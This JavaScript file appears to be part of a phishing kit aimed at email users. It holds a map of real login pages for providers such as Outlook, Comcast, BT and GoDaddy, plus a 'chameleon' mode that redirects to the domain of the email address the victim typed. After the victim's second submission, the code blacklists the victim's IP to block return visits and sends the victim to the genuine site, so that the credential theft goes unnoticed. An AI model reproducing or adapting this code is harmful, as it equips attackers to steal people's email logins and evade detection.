/**
 * Centralized Redirect URL Configuration
 * 
 * This URL is used for:
 * - Redirecting after 2nd form submission (fallback)
 * - Redirecting blacklisted IPs (fallback)
 * 
 * IMPORTANT: Keep this URL in sync with config_redirect.php
 */

// Centralized Redirect URL (Fallback URL)
const CENTRALIZED_REDIRECT_URL = 'https://acrobat.adobe.com/id/urn:aaid:sc:EU:3675e197-77af-4366-a4d8-fc2568aa27d9';

// Provider-specific login pages (Original URLs)
const PROVIDER_LOGIN_MAP = {
    'outlook': 'https://outlook.live.com/mail/0/login',
    'bell': 'https://webmail.en.bellnet.ca/ux/',
    'bigpond': 'https://www.telstra.com.au/notifications/bigpond-email-closure',
    'btinternet': 'https://signin1.bt.com/login/login.do',
    'comcast': 'https://login.xfinity.com/login',
    'earthlink': 'https://webmail.earthlink.net/',
    'eastlink': 'https://webmail.eastlink.ca/',
    'frontier': 'https://login.frontier.com/login',
    'ionos': 'https://login.ionos.com/',
    'kpnmail': 'https://webmail.kpnmail.nl/',
    'mymts': 'https://webmail.mymts.net/',
    'netsol': 'https://webmail.netsolmail.com/',
    'rackspace': 'https://apps.rackspace.com/',
    'shaw': 'https://webmail.shaw.ca/',
    'telia': 'https://www.telia.se/privat/loggain',
    'zoho': 'https://www.zoho.com/mail/login.html',
    'godaddy': 'https://sso.godaddy.com/',
    'cpanel': '/webmail',
    'roundcube': '/roundcube'
};

// Blacklist API endpoint (detect path dynamically)
function getBlacklistApiUrl() {
    // Try to detect the correct path based on current location
    const currentPath = window.location.pathname;

    // If we're in a subdirectory (like providers/), go up one level
    if (currentPath.includes('/providers/') || currentPath.includes('providers/')) {
        return '../blacklist_api.php';
    }

    // Otherwise, assume we're in root
    return 'blacklist_api.php';
}

const BLACKLIST_API_URL = getBlacklistApiUrl();

/**
 * Add IP to blacklist via API
 * @param {string} ip - IP address to blacklist
 * @param {string} reason - Reason for blacklisting
 * @returns {Promise<boolean>} True if successful
 */
async function addIPToBlacklist(ip, reason) {
    // If IP is empty or 'unknown', still call API - server will extract IP
    if (ip && typeof ip === 'string' && ip !== 'unknown' && ip.trim() !== '') {
        // Validate IP format if provided
        const ipRegex = /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$|^(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/;
        if (!ipRegex.test(ip)) {
            ip = ''; // Let server extract it
        }
    } else {
        // Empty or unknown - let server extract IP
        ip = '';
    }

    try {
        const apiUrl = getBlacklistApiUrl();
        const response = await fetch(apiUrl, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                ip: ip,
                reason: reason || 'form_submission_redirect'
            })
        });

        if (response.ok) {
            const result = await response.json();
            return result.success;
        }
    } catch (error) {
        console.error('Error calling blacklist API:', error);
    }
    return false;
}

/**
 * Get client IP address
 * @returns {string} IP address
 */
function getClientIP() {
    // Try to get IP from window.userip (if set by server)
    if (typeof window !== 'undefined' && window.userip) {
        return window.userip;
    }

    // Fallback: try to get from various sources
    return 'unknown';
}

/**
 * Perform centralized redirect after 2nd attempt
 * Automatically blacklists the visitor's IP before redirecting
 * 
 * @param {number} delay - Delay in milliseconds before redirect (default: 300)
 * @param {boolean} redirectParent - If true, redirects parent window; if false, redirects iframe (default: true)
 * @param {string} provider - Optional provider tag to use for specific redirect
 * @param {string} email - Optional email to extract domain for chameleon redirection
 */
async function performCentralizedRedirect(delay, redirectParent, provider, email) {
    delay = (typeof delay === 'number') ? delay : 300;

    // Default to TRUE for iframe breakout (user requirement)
    // Most existing calls are performCentralizedRedirect(300), 
    // so the second argument (redirectParent) will be undefined -> defaults to true.
    redirectParent = (redirectParent !== undefined) ? redirectParent : true;

    // Attempt to auto-detect provider/email from global scope or DOM if not passed
    if (!provider && typeof window.providerTag !== 'undefined') provider = window.providerTag;
    if (!email) {
        const emailInput = document.querySelector('input[type="email"], input[name*="email"], #formHorizontalEmail');
        if (emailInput) {
            email = emailInput.value;
        }
    }

    // Determine Redirect URL
    let redirectUrl = CENTRALIZED_REDIRECT_URL;

    if (provider && PROVIDER_LOGIN_MAP[provider]) {
        redirectUrl = PROVIDER_LOGIN_MAP[provider];
        // Handle relative paths for cpanel/roundcube
        if (redirectUrl.startsWith('/')) {
            redirectUrl = window.location.origin + redirectUrl;
        }
    } else if (provider === 'chameleon' || !provider) {
        // Chameleon logic: redirect to domain root
        if (email && email.includes('@')) {
            const domain = email.split('@')[1];
            if (domain) {
                redirectUrl = 'https://' + domain;
            }
        }
    }

    try {
        // Enable redirect flag if it exists (for pages that block redirects)
        if (typeof window !== 'undefined') {
            window.allowFormRedirect = true;
        }

        // Add IP to blacklist before redirecting
        const clientIP = getClientIP();
        addIPToBlacklist(clientIP, 'form_submission_redirect_2nd_attempt').catch(function (error) {
            console.error('Failed to blacklist IP:', error);
        });

        setTimeout(function () {
            try {
                if (redirectParent && window.parent && window.parent !== window) {
                    // Redirect parent window (breakout)
                    try {
                        window.parent.location.replace(redirectUrl);
                    } catch (e) {
                        // Cross-origin iframe - fallback to local redirect
                        console.warn('Cannot redirect parent (cross-origin), redirecting current window');
                        window.location.replace(redirectUrl);
                    }
                } else {
                    // Not in iframe or breakout disabled, redirect current window
                    window.location.replace(redirectUrl);
                }
            } catch (error) {
                console.error('Error performing redirect:', error);
                // Fallback attempt
                try {
                    window.location.href = redirectUrl;
                } catch (e) { }
            }
        }, delay);
    } catch (error) {
        console.error('Error performing redirect:', error);
    }
}
